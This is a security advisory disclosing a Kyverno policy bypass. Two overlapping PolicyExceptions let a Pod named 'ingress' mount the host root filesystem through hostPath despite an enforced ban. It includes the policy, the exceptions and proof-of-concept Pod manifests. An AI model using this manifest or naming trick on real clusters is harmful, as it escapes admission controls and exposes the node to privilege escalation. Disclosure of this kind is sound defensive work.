Bypassing Kyverno Policies via Double Policy ExceptionsGHSA-gg4x-fgg2-h9w9

Summary

If a cluster has a Kyverno policy in enforce mode and there are two exceptions, this allows the policy to be bypassed, even if the first exception is more restrictive than the second.

Details

The following policy was applied:

apiVersion: kyverno.io/v1
kind: ClusterPolicy
metadata:
  name: disallow-host-path
  annotations:
    policies.kyverno.io/title: Disallow hostPath
    policies.kyverno.io/category: Pod Security Standards (Baseline)
    policies.kyverno.io/severity: medium
    policies.kyverno.io/subject: Pod,Volume
    kyverno.io/kyverno-version: 1.6.0
    kyverno.io/kubernetes-version: "1.22-1.23"
    policies.kyverno.io/description: >-
      HostPath volumes let Pods use host directories and volumes in containers.
      Using host resources can be used to access shared data or escalate privileges
      and should not be allowed. This policy ensures no hostPath volumes are in use.
spec:
  validationFailureAction: Enforce
  background: true
  rules:
    - name: host-path
      match:
        any:
        - resources:
            kinds:
              - Pod
      validate:
        message: >-
          HostPath volumes are forbidden. The field spec.volumes[*].hostPath must be unset.
        pattern:
          spec:
            =(volumes):
              - X(hostPath): "null"

And two exceptions:

apiVersion: kyverno.io/v2beta1
kind: PolicyException
metadata:
  name: disallow-host-path-exception
  namespace: kyverno
spec:
  exceptions:
  - policyName: disallow-host-path
    ruleNames:
    - host-path
  match:
    any:
    - resources:
        kinds:
        - DaemonSet
        - Deployment
        - Job
        - StatefulSet
        - ReplicaSet
        - ReplicationController
        - Pod
        - CronJob
        namespaces:
        - luntry
        - tstkyverno
        - examplens

apiVersion: kyverno.io/v2beta1
kind: PolicyException
metadata:
  name: disallow-host-path-exception-names
  namespace: kyverno
spec:
  exceptions:
  - policyName: disallow-host-path
    ruleNames:
    - host-path
  match:
    any:
    - resources:
        kinds:
        - DaemonSet
        - Deployment
        - Job
        - StatefulSet
        - ReplicaSet
        - ReplicationController
        - Pod
        - CronJob
        names:
        - '*haproxy*'
        - '*ingress*'

Trying to apply such a yaml will result in the expected ban:

apiVersion: v1
kind: Pod
metadata:
  name: mtkpi
  labels:
    app: pentest
spec:
  containers:
  - name: mtkpi
    image: ubuntu
    volumeMounts:
    - mountPath: /host
      name: noderoot
    command: [ "/bin/sh", "-c", "--" ]
    args: [ "while true; do sleep 30; done;" ]  
  volumes:
  - name: noderoot
    hostPath:
      path: /

However, if the load name is changed to satisfy the second exception, the restrictions can be bypassed:

apiVersion: v1
kind: Pod
metadata:
  name: ingress
  labels:
    app: pentest
spec:
  containers:
  - name: mtkpi
    image: ubuntu
    volumeMounts:
    - mountPath: /host
      name: noderoot
    command: [ "/bin/sh", "-c", "--" ]
    args: [ "while true; do sleep 30; done;" ]  
  volumes:
  - name: noderoot
    hostPath:
      path: /

It turns out that the second exception is higher in priority for Kyverno and allows for bypass of the restrictions.

Impact

The security restrictions can be bypassed.